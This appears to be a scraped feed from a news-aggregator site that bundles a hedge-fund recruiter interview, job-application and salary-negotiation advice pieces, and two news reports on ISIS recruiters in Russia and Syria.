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]]> https://briefnews.eu/an-ex-tesla-recruiter-reveals-what-its-like-to-interview-with-elon-musk/feed/ 0 We asked a top hedge-fund recruiter what it takes to get a senior-level job these days https://briefnews.eu/we-asked-a-top-hedge-fund-recruiter-what-it-takes-to-get-a-senior-level-job-these-days/ https://briefnews.eu/we-asked-a-top-hedge-fund-recruiter-what-it-takes-to-get-a-senior-level-job-these-days/#respond Mon, 27 Nov 2017 13:40:19 +0000 http://briefnews.eu/we-asked-a-top-hedge-fund-recruiter-what-it-takes-to-get-a-senior-level-job-these-days/ Ilana Weinstein.Ilana Weinstein.

  • Ilana Weinstein is the founder of The IDW Group, which focuses on recruiting investment talent for all kinds of investment strategies.
  • We asked Weinstein about the biggest trends in the hedge-fund business and how to get a senior-level job today.
  • “As the industry has become more crowded and efficient, I would argue the definition of talent has gone up,” she said.


Ilana Weinstein is a force within the hedge-fund industry, recruiting senior investment talent and C-level staffers for some of the biggest funds. Her firm’s approach has gotten a reputation for being the “Don’t call us, we’ll call you” search firm — something Weinstein is completely fine with.

She founded The IDW Group about 15 years ago. The New York firm recruits investment talent specializing in all kinds of investment strategies, ranging from long-short equity to credit and macro. IDW also recruits for private-equity funds, asset managers, and family offices.

We wanted to get a sense of what it takes to get a top job in money management, and we reached out to Weinstein to get her two cents. She emailed us back with her thoughts. Following is a lightly edited transcript.

Rachael Levy: You are coming up on your 15th year since founding IDW. How have you seen this industry evolve?

Ilana Weinstein: When we started, in the beginning of 2003, the hedge-fund industry was still relatively nascent. There were 3,000 hedge funds compared to 9,000 today. AUM [assets under management] was $ 500 billion versus $ 3.4 trillion. That’s explosive growth. Talent doesn’t proliferate like that.

Back then, proprietary trading desks on the sell side were where we went for talent because they were like mini hedge funds and there weren’t enough developed hedge funds to pull from. After the crisis, prop trading became a “no-go” zone at the banks and anyone who was a risk-taker (and any good) left.

Eric Mindich, Founder and CEO of Eton Park Capital Management attends a session at the World Economic Forum (WEF) in Davos January 29, 2010. REUTERS/Christian HartmannThomson Reuters

Today the war for talent is largely hedge fund to hedge fund, and as the industry has become more crowded and efficient, I would argue the definition of talent has gone up.

There is less alpha in the market, less volatility, less dispersion, and more market participants. If you get five consumer portfolio managers in a room with 20 ideas each, you don’t get 100 ideas. You are lucky if you get five to six. There aren’t enough factors to make 80% of hedge funds do well.

The list of truly investable hedge funds is probably 2% of existing funds. And concentration of AUM reflects this: 10% of hedge funds control 90% of the AUM. That’s a surprising statistic to a lot of people. It also means seismic changes can happen quickly.

We’ve seen big institutional funds like Eton Park and Perry shut down; other large players have had enormous and swift AUM drops. This leads to a recalibration of who the best funds are, and where talent wants to be.

Levy: What is your approach to recruiting?

Weinstein: Think of a Venn diagram with one bubble being best-in-class, stand-out talent, and the other being miserable, disenfranchised players whose résumés are papering the street. We have never cared about the second bubble. We are not in the business of helping people find jobs. The niche IDW has cultivated is to help the best funds attract exceptional talent. We only go after that first bubble. If there is overlap, it’s a happy coincidence.

Levy: What are some recent trends you have seen with regard to talent?

Weinstein: We are all about, and only about, cultivating the most talented people in our industry.

Historically, the overlap between those two bubbles was low; as you might expect, talented people sat at what they thought were the best funds and were not receptive to leaving. This made our job difficult because we were only as strong as our ability to create an opportunity that didn’t exist where they were.

Now many people are telling us how frustrated they are — so that overlap in my Venn diagram has never been greater. It feels like we at the center of a perfect storm.

It feels like we at the center of a perfect storm.

Even if fund performance is better this year, we are still coming off the back of three to four years where these people outperformed the funds in which they work. If you have multiple years of profit and loss where you were the bulk of your fund’s return — sometimes in its entirety — and then have compensation netted by poor performance in other parts of the fund, you start to question the value proposition.

These last few years have given these investment professionals more experience and confidence and made them more willing to bet on themselves. I recently interviewed someone who referred to this as “labor arbitrage” — his view of how he was being taken advantage of at the fund in which he sits. The risk-reward dynamic of staying and leaving changes. Funds that have the resources and forward-thinking-ness to seize this moment are going to pick up the best people in our business.

Levy: How would you describe the current hiring environment?

Weinstein: Robust! All the doomsayers in 2016 who predicted industry AUM would fall by some big percent were dead wrong. The industry has never managed more capital that it does today. That is the yardstick of health for our business.

Ilana Weinstein.Ilana Weinstein.

However, LP patience is thin, and we are going to see more funds — big ones — shutter or become family offices. There will be a shakeout in this industry, and there should be. Yet overall AUM is growing, so that means those that remain will get bigger and there will be space for new entrants who can build something unique.

That said, you need to be rich to start a hedge fund now, to build something attractive to institutional LPs. The industry is moving to greater scale and more sophistication. Those that can leverage scale and invest in people and systems to drive opportunities will win.

Levy: So if once upon a time the natural progression was to leave and start a fund but that is tougher now, where do these talented people go?

Weinstein: The best platforms are becoming more creative and bespoke about how they attract talent. I liken it to a managed account for an LP. There are accommodations made for someone truly unique — maybe more flexibility with risk parameters, concentration or the ability to invest in privates. More capital out of the gate — resources to build and train a team.

And then economics to take a lot of the risk off the table in the near term and unlimited upside longer term. If the choice is go at it on your own — bang the tin cup for capital, have a never-ending series of marketing meetings — and even if things go well still spend 20% to 30% of your time marketing because there is a natural 10% attrition of capital every year, and on top of this fund this enterprise out of your pocket until you break even (if you ever do) versus be plug and play somewhere, which will give you incredible resources, why take that risk?

And just to underscore that point, we are helping platforms gobble up small funds because the economics and time allocation of marketing versus investing no longer makes sense for these smaller guys.

Similarly, funds that have a real partnership are interesting. “Partner” is an overused and often meaningless title in our industry.

‘Partner’ is an overused and often meaningless title in our industry.

I can’t tell you the number of partners we meet, from big funds who can barely articulate what it means beyond looking good on their business card. Giving someone small points and then a “jump ball” for more is still a discretionary compensation model, in my view. It’s a convoluted way of saying the same thing. Once you get to a point where you are ready to do your own thing, you want to build something or having a meaningful stake in doing so.

The best platforms get you there as do funds with a real partnership and culture of meritocracy. We recently took a senior guy out of a firm he had been at for 14 years. He left because the founder created a role around him that leveraged his ability to build a business and mentor a team. Joining a $ 30 billion fund as a partner with a clear path on how to grow that stake and work directly for a founder who is brilliant at what he does and always expanding in ways that complement the fund’s strengths is exciting.

Levy: What has most surprised you in 15 years of interviewing the best people in this business?

Weinstein: How hard it can be to get them to make a move! Even now where they are the most receptive because of this disconnect between their performance and that of their fund, I still see the economic loss-aversion theory at play. These are people who are the most talented at taking risk for a living and yet when it comes to assessing their own career they have an inherent bias to weight the risks of a new opportunity over what they are likely to gain.

It’s amazing how lopsided their thinking can be, but luckily they are also highly rational, so once they wrap their head around what they are doing they can make the leap.

Levy: What is the most misunderstood aspect of the hedge-fund industry by hedge-fund investors?

Weinstein: Four things.

  • How lean these investment teams are. You can be a $ 10 billion-plus fund and have a team of five to 10 people if it’s a single-strategy fund. That means it is critical that everyone contribute in a meaningful way, but that is often not the case.
  • The strength of investment teams is lumpy. You may say so what but when the team is lean it matters. This is obfuscated when fund performance is good because everyone is happy and doing well and there is less individual accounting going on. Over the last few years returns were more challenging and it became clear who the stars are. If they leave it’s a problem.
  • Right now many talented people are unhappy and in-play LPs should know the hedge-fund industry is like a giant Jenga puzzle. All you need is a few key people to leave, returns drop, and the whole thing comes crashing down. If I’m an LP, I want to know who is key on the team and likelihood of them leaving. I don’t think anyone has this bird’s-eye view but us.
  • “Turnover” is not a bad word. Founders are often afraid of letting people go because of the perception of turnover by LPs. LPs should encourage founders to prune their team. This also makes room for talented people to grow and not be as vulnerable to our call. The key is for LPs to diligence who drove the turnover (founder or the person who left) and what the reputation is of the person leaving. The story that gets spun after the fact is often not the reality.

Levy: What do you think investment professionals in this industry most underestimate about themselves?

Weinstein: How difficult the transition is from analyst to portfolio manager to founder. These are different skill sets and people overrate their ability to make these transitions. An analyst is an idea generator. Once he becomes a portfolio manager he is no longer deploying capital through the lens of the founder. He is now responsible for portfolio construction, sizing, and hedging. The buck stops with him. I can’t tell you the number of people who don’t fully appreciate this ahead of time and flame out. As a founder you are building a team, running a business and dealing with LPs. There is little about an investment professional’s training that prepares him for this.

My second point is one I see talent becoming savvier about and that is how quickly things can change. Now that they have seen several large funds shut down and others struggling, there is more awareness about asking the right questions about where they sit.

Just because it’s a big, brand-name fund that doesn’t mean it is a stable seat. They need to look around and ask: “Are our returns differentiated? Are talented people likely to leave? Is the founder committed to investing in people, resources, and technology — effectively the future? Or is he just resting on his laurels?” That’s the kind of stuff we help people see through. Inertia is a killer and it’s a shame for a talented person not to be everything he can because he doesn’t have broader perspective.

Levy: What is critical for founders to know to hang on to their best people?

Weinstein: Founders need to provide their people with four things.

  1. Impact: Their people need to feel like they can impact the bottom line. Even if the founder is the ultimate arbiter of how capital is deployed, if he has the right team they should be able to influence these decisions in a material way.
  2. Transparency: Clarity around how they are measured; what they need to do to progress; why and how capital gets allocated. This is a pay-for-performance culture, and people need to feel connected to the results of the fund as well on their own trajectory.
  3. Scope: Measured by remit and access to capital. As people progress they want to do more — maybe it’s a sector PM who now wants to expand to other sectors. Founders need to find a way to let talented people develop, or they will lose them.
  4. Compensation: Obviously an important one and you need to know the market and be in line with that but if the above three are in good shape this one usually is too. It’s also the easiest one for a founder to fix.

Levy: What advice would you give to a young person coming out of school who wants to join a hedge fund? What kind of educational background are funds looking for now?

Weinstein: Focus on what lights you up — not the dollar signs. There are thousands of hedge funds, and most won’t make it.

There are thousands of hedge funds, and most won’t make it.

It’s like the dot-com bubble when I was coming out of school. Unless you live and breathe investing and everything that goes on in your area of interest, this is not for you. What I am most inspired by is passion. This manifests itself through someone who is on fire about what is evolving in his industry, sector, how committed he is. I know it when I see it.

I wouldn’t worry much about majors. School is a time to expand your horizons and learn how to think. That skill set and flexibility will serve you better as an investor than any individual class. I have had a few founders disparage the value of an MBA. They would rather the person spent those two years in an investing seat going through different markets. As an MBA myself I am mixed on that, but I understand the point.

Levy: What career advice would you give in general?

Weinstein: Always work harder than everyone else so you know you gave it your all. Very few people consistently put in 110%. It takes discipline but it’s worth it. It goes to the concept of grit too. I always tell my 13-year-old: “Being smart doesn’t count for much unless you pair that with exceptional effort.” I didn’t have much growing up — I went to Stuyvesant High, which fostered an immigrant survivor culture — there was no safety net. No one was going to help me so I had to do it myself. That sense of needing to make it work also builds confidence because you see what you can do on your own and overcome.

That sense of needing to make it work also builds confidence because you see what you can do on your own and overcome.

It gives you the confidence to take risks. I wouldn’t be where I am if not for that set of experiences.

You also have to keep moving forward and not take things personally. I deal with a lot of colorful and sometimes intense personalities. I won’t deal with bad people, but other than that I can pretty much handle anything! It sounds clichéd, but it is true. If things don’t go your way, pick yourself up and move on. You will learn from it and do better next time. Don’t get bogged down in negativity.

As my dad often said: “Don’t sweat the small stuff. It’s all small stuff.” I have to remind myself of that sometimes because I care deeply about what I do, but dwelling on negative things is not productive.

Weinstein: What was the most formative moment in your career?

Levy: I was at a big search firm and thinking about starting my own company. I didn’t know if I could build a business but knew I was good at what I did. I asked a client if he worked with me because of me or the fact that I was part of a big firm. I don’t know if he knew what was behind my question but he said, “Ilana I don’t even know the name of your firm.” Of course he was being cute but it gave me the confidence to go for it.

Leda BragaCNBC/ Heidi Guzman

Levy: Why are there so few women in investing seats, and what needs to be done to change that?

Weinstein: I gave a lecture on the hedge-fund industry at Wharton earlier this year, and one of the female students asked me that. I in turn asked how many women in the room wanted to join a hedge fund, and barely any hands went up. I then asked how many men, and about 70% of the guys raised their hands.

So there is self-selection going on which makes the pool shallow. You then factor in attrition, and by the time we get there we have very few talented women to pull from.

I can tell you, founders do want more women, but this is a meritocracy — they have a fiduciary duty to their LPs to hire the best possible person. If we had more women electing to go into the industry, we would have better numbers. It’s also a circular loop — women don’t see many female role models, so this dampens their interest. That being said, I do think there is something to this industry still being relatively young.

Look at law, medicine, banking, and consulting. They all have better female representation in senior roles. When I was at Harvard, the MBA class was roughly 30% female. Now I am told it is closer to 50%. So hopefully this is something that changes over time, but we have to do a better job of encouraging talented women to join from the get-go.

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]]> https://briefnews.eu/we-asked-a-top-hedge-fund-recruiter-what-it-takes-to-get-a-senior-level-job-these-days/feed/ 0 A top hedge fund recruiter explains why your college major doesn’t really matter https://briefnews.eu/a-top-hedge-fund-recruiter-explains-why-your-college-major-doesnt-really-matter/ https://briefnews.eu/a-top-hedge-fund-recruiter-explains-why-your-college-major-doesnt-really-matter/#respond Thu, 23 Nov 2017 09:11:32 +0000 http://briefnews.eu/a-top-hedge-fund-recruiter-explains-why-your-college-major-doesnt-really-matter/ Ilana Weinstein IDW - smaller 2x1Ilana Weinstein

  • Ilana Weinstein is the founder of The IDW Group, which focuses on recruiting investment talent for all kinds of investment strategies.
  • We asked Weinstein about the biggest trends in the hedge-fund business and how to get a senior-level job today.
  • Here’s her best advice for recent college graduates looking to land jobs at a hedge fund.

llana Weinstein, founder of the The IDW Group, is a tour de force within the hedge-fund industry.

She recruits top-level talent for the world’s most prestigious investment firms including hedge funds, family offices and private equity funds.

Weinstein recently sat down with Business Insider’s hedge fund reporter Rachael Levy for a wide-ranging interview about the industry. She says your college major isn’t actually that important when it comes to landing a dream hedge fund job after graduation. Instead, it all comes down to passion. Here’s more from the interview:

Rachael Levy: What advice would you give to a young person coming out of school who wants to join a hedge fund? What kind of educational background are funds looking for now?

Ilana Weinstein: Focus on what lights you up – not the dollar signs.  There are thousands of hedge funds and most won’t make it.

There are thousands of hedge funds and most won’t make it. It’s kind of like the dot-com bubble when I was coming out of school. Unless you live and breathe investing and everything that goes on in your area of interest, this is not for you.  What I am most inspired by is passion.  This manifests itself through someone who is on fire about what is evolving in his industry, sector, how committed he is. I know it when I see it.

I wouldn’t worry much about majors.  School is a time to expand your horizons and learn how to think.  That skill set and flexibility will serve you better as an investor than any individual class.  I have had a few Founders disparage the value of an MBA.  They would rather the person spent those two years in an investing seat going through different markets.  As an MBA myself I am mixed on that but I understand the point.

You can read the full interview with Ilana Weinstein here. 

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]]> https://briefnews.eu/a-top-hedge-fund-recruiter-explains-why-your-college-major-doesnt-really-matter/feed/ 0 Suspected ISIS recruiter detained in Bashkortostan, Russia https://briefnews.eu/suspected-isis-recruiter-detained-in-bashkortostan-russia/ https://briefnews.eu/suspected-isis-recruiter-detained-in-bashkortostan-russia/#respond Mon, 15 May 2017 15:31:49 +0000 http://briefnews.eu/suspected-isis-recruiter-detained-in-bashkortostan-russia/

A man suspected of recruiting for Islamic State (IS, formerly ISIS/ISIL) has been arrested by law enforcement officers in the Republic of Bashkortostan, Russia.

The 32-year-old resident of Bashkortostan’s Dyurtyulinsky District, who is “suspected of cooperating with Islamic State,” was detained in early May, the Federal Security Service (FSB) said in a statement to Russian media.

“It was established that the man shared the radical views of IS, involved Bashkortostan residents into operations of the international terrorist organization and facilitated their departure to Syria,” the statement read.

A criminal case on assisting a terrorist organization has been launched against the suspect, who has been in custody since his arrest.

READ MORE: 2 ISIS-linked militants killed in security operation in North Caucasus, Russia (VIDEO)

Bashkortostan, a mainly Muslim republic with a population of over 4 million, is situated on the Volga River in southwest Russia.

The activities of Islamic State are outlawed in Russia, which has been assisting the Syrian government in its fight against IS and other terrorist groups with airstrikes and other means since September 2015.

Russian President Vladimir Putin told broadcaster Mir in April that around 10,000 people from countries of the former Soviet Union were fighting for Islamic State in Syria, with “less than a half of them being from Russia.”

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]]> https://briefnews.eu/suspected-isis-recruiter-detained-in-bashkortostan-russia/feed/ 0 British ISIS recruiter Sally Jones on US drone ‘kill list’ but ‘using son as a shield’ https://briefnews.eu/british-isis-recruiter-sally-jones-on-us-drone-kill-list-but-using-son-as-a-shield/ https://briefnews.eu/british-isis-recruiter-sally-jones-on-us-drone-kill-list-but-using-son-as-a-shield/#respond Mon, 08 May 2017 15:25:17 +0000 http://briefnews.eu/british-isis-recruiter-sally-jones-on-us-drone-kill-list-but-using-son-as-a-shield/ British punk rocker-turned-jihadi bride, Sally Jones, was placed on the Pentagon’s “high priority kill list” in Syria after evidence revealed that she and her late husband were the driving force behind at least a dozen Islamic State terrorist plots.

Jones, a 49-year-old mother of two from Kent, and her late husband, Junaid Hussain, who were known as ‘Mr. and Mrs. Terror’, are among the most prolific western recruiters and attack planners for Islamic State (IS, formerly ISIS/ISIL).

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Female ISIS fighter. © Conflict Studies

Jones is believed to be using her 11-year-old son Jojo as a human shield to avoid the same fate that met her husband. Hussain, a former computer hacker from Birmingham, was killed in a US drone strike in the IS stronghold of Raqqa after he reportedly slipped up and left a building without the child by his side.

US court documents link the couple to numerous attacks and plots spanning three continents. One included targeting Queen Elizabeth II in 2015 during V-J Day celebrations in London.

Another of the couple’s terrorist plots involved kidnapping a US Army veteran and beheading him on camera in his home before broadcasting the murder to the world, according to The Times.

Hussain sent Munir Abdulkader, 22, of Ohio, details about how to choose a victim, emphasizing that he had to be a “recent veteran” who had served in Iraq or Afghanistan. After committing the murder, Abdulkader was to carry out a suicide attack on a police station using Molotov cocktails.

The attack was foiled in May of 2015, however, after Abdulkader confided in an FBI informant. US prosecutors described it as “one of the most significant plots by ISIS to perform a homeland attack.”

Abdulkader was jailed for 20 years.

Hussain also encouraged Justin Sullivan, a 19-year-old convert from North Carolina, to go on a shooting rampage at a concert or nightclub with the goal of killing up to 1,000 people.Almost all of the couple’s plots involved targeting the military, including Royal Air Force (RAF) bases in Britain. Jones played a role in publishing at least three hit-lists online that contained the names of US military personnel, court documents show.

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© Reuters

It is believed that Jones recruited women, while Hussain mainly targeted vulnerable men as the leader of an elite group of English-speaking attack planners in Syria known as “The Legion” or the “Raqqa 12.”

Jones, the so-called ‘white widow,’ who also goes by the name of Umm Hussain al-Britani, converted to Islam and fled to Syria with her son in 2013 to marry Hussain.

She has apparently since been leading the female wing of the Anwar al-Awlaki battalion, which is made up of foreign fighters dedicated to carrying out terrorist attacks abroad. It is believed that she recruited dozens of women to Islamic State via social media before her accounts were shut down.

After her husband’s death, it is thought that IS paid her a monthly salary of £520 ($ 673), plus a bonus of more than £200 ($ 260) every couple of months for being the widow of a ‘shahid’ or martyr.According to one source who spoke to the Daily Mail, she is yet to remarry because she is “considered old and ISIS fighters prefer young girls.”

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]]> https://briefnews.eu/british-isis-recruiter-sally-jones-on-us-drone-kill-list-but-using-son-as-a-shield/feed/ 0 A recruiter who’s interviewed hundreds of people shares her 3 best tips to ace a job application https://briefnews.eu/a-recruiter-whos-interviewed-hundreds-of-people-shares-her-3-best-tips-to-ace-a-job-application/ https://briefnews.eu/a-recruiter-whos-interviewed-hundreds-of-people-shares-her-3-best-tips-to-ace-a-job-application/#respond Sat, 11 Feb 2017 22:25:51 +0000 http://briefnews.eu/a-recruiter-whos-interviewed-hundreds-of-people-shares-her-3-best-tips-to-ace-a-job-application/ Kristin Carlson YelpKristin Carlson

If your résumé and cover letter are a mess, then you’re probably not going to advance too far in the hiring process.

Business Insider recently spoke with Yelp senior sales recruiter Kristin Carlson about the $ 3 billion company‘s hiring process. She’s hired a total of 253 employees during her time at Yelp.

“Our recruiters take time to review every single résumé and to read all cover letters,” she says. “Both are the first very important part of the process and, don’t forget, a representation of you.”

She discussed three major things to look out for before submitting a job application:

1. Watch out for the details

“I can’t tell you how many times a cover letter will have the wrong company name or the wrong job title, so don’t be sloppy,” Carlson says. “Think of it this way: You wouldn’t show up at an interview without making sure you have pants on, would you?”

2. Get creative

Carlson says that creativity goes a long way when it comes to job applications.

“A recent new hire created her own Yelp review of herself as a candidate — five stars, no doubt — which showed some real dedication, creativity, and thoughtfulness,” Carlson says.

3. Know your audience

“Cover letters don’t necessarily need to be that fancy, but do know your audience,” she told Business Insider. “I recently received a letter that started with ‘Dear Sirs.’ What that shows me is a lack of knowledge about Yelp and what it’s like to work here. Be personable and have some fun.”

NOW WATCH: How to find Pokéstops using Yelp


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]]> https://briefnews.eu/a-recruiter-whos-interviewed-hundreds-of-people-shares-her-3-best-tips-to-ace-a-job-application/feed/ 0 3 years as a recruiter taught me the secret to out-earning your colleagues has nothing to do with hard work https://briefnews.eu/3-years-as-a-recruiter-taught-me-the-secret-to-out-earning-your-colleagues-has-nothing-to-do-with-hard-work/ https://briefnews.eu/3-years-as-a-recruiter-taught-me-the-secret-to-out-earning-your-colleagues-has-nothing-to-do-with-hard-work/#respond Mon, 30 Jan 2017 15:59:13 +0000 http://briefnews.eu/3-years-as-a-recruiter-taught-me-the-secret-to-out-earning-your-colleagues-has-nothing-to-do-with-hard-work/ susie moore 1Courtesy of Susie Moore

My first sales job was in recruitment in Sydney, Australia.

I worked for a small and profitable boutique agency before joining a large, international American company. I hired for C-level executives in industries ranging from commercial real estate to network engineering.

The recruitment industry opened my eyes. I learned about negotiation, knowing your worth, and asking for what you want as a valuable employee.

These insights impacted my confidence (and income) quickly and at age 30 I was earning almost $ 500,000. Being in the behind-the-scenes of so many hiring negotiations, I accessed powerful information and insights that many people never have the opportunity to during their careers.

1. Everything you think about success is wrong

Study hard, graduate, get a job, work late, and the income ladder appears with ease and fairness, right? Wrong. People who get ahead contribute their ideas, show up from a place of self-assuredness, and consistently ask for what they want.

In “Women Don’t Ask: The High Cost of Avoiding Negotiation—and Positive Strategies for Change,” Linda Babcock and Sara Laschever state, “Women who consistently negotiate their salary have increased earnings of at least $ 1 million more during their careers than women who don’t.”

Yes — a million dollars. And remember, that’s just the money. Asking also opens up career acceleration dialogue and leadership positions much faster.

2. Asking is everything

No one is going to throw money at you if you don’t bring it to their attention! Don’t assume or hope your boss has any inkling that you want a salary increase or that you are being underpaid. Everyone is too busy thinking about their own stress and daily to do list instead of noticing your 7:15 p.m. departure from your desk and how you never took a sick day in 2016.

No one is busying his or herself concocting a plan to help you get paid more. It’s up to you to make it happen.

3. Network before you ‘need’ to

Most of us get networking wrong. It’s not cocktail parties and business card switching. It’s about helping others. It’s about connecting others. It’s about showing up and getting to know people in your city, your industry, or any type of group that you want to be part of.

Your network has a direct correlation to your earning potential, as when you want a new job, your network is the quickest route to landing one. In fact, I suggest that you should always be unofficially looking for a new job. Be open. Don’t assume your company is loyal to you (they’re not — they’d fire you the second you stop producing what they want).

Get to know what’s out there through knowing more people. Because people make decisions, not businesses. Optionality equals more dough. So don’t wait until you need to!

4. Hiring is hell

Recruitment teaches you the price of staff turnover and it’s much more expensive than you think. Consider this as a hiring manager:

  • Hours spent on advertising, reading resumes, setting up interviews, interviewing, more interviewing, background checking, human resources training, weeks spent in orientation and training of a new employee (when you’re lucky to find one). Oh — and not to mention that it can take anywhere from 3-12 months for a new hire to be as proficient as a former employee.
  • Precious productivity wasted while a position is unfilled plus additional work for coworkers and managers while a job is vacant.
  • Lost knowledge: When a great employee leaves they take a great deal of information with them. Employers hate this.
  • Risks associated with a new hire: What if it doesn’t work out? They start all over again? Yep.
  • Cost of new hire: How much will the new employee cost (plus all of the above and perhaps even a pricey recruiter fee)? Does this make is easier for you to just get a raise and stay, perhaps?

If you have been thinking about a raise this year, you’re probably in a good position to ask. And if you’re company is not in a position to pay you much more, there are plenty of other perks you can ask for instead — remote working options, more paid time off, additional training/education.

Not getting a raise can be a great outcome, too. It can give you the reality check you need to look for a new job. Or the nudge to start that side hustle that could give you more financial freedom that you ever thought possible.

Susie Moore is an author and life coach in New York who has been featured on the Today show and Forbes. A former sales director for a Fortune 500 Company, she remains an adviser to high-growth startups in New York City and Silicon Valley. Sign up for her free Get A Raise in 30 Days Workshop.

NOW WATCH: Wendy’s is roasting people on Twitter, and it’s hilarious


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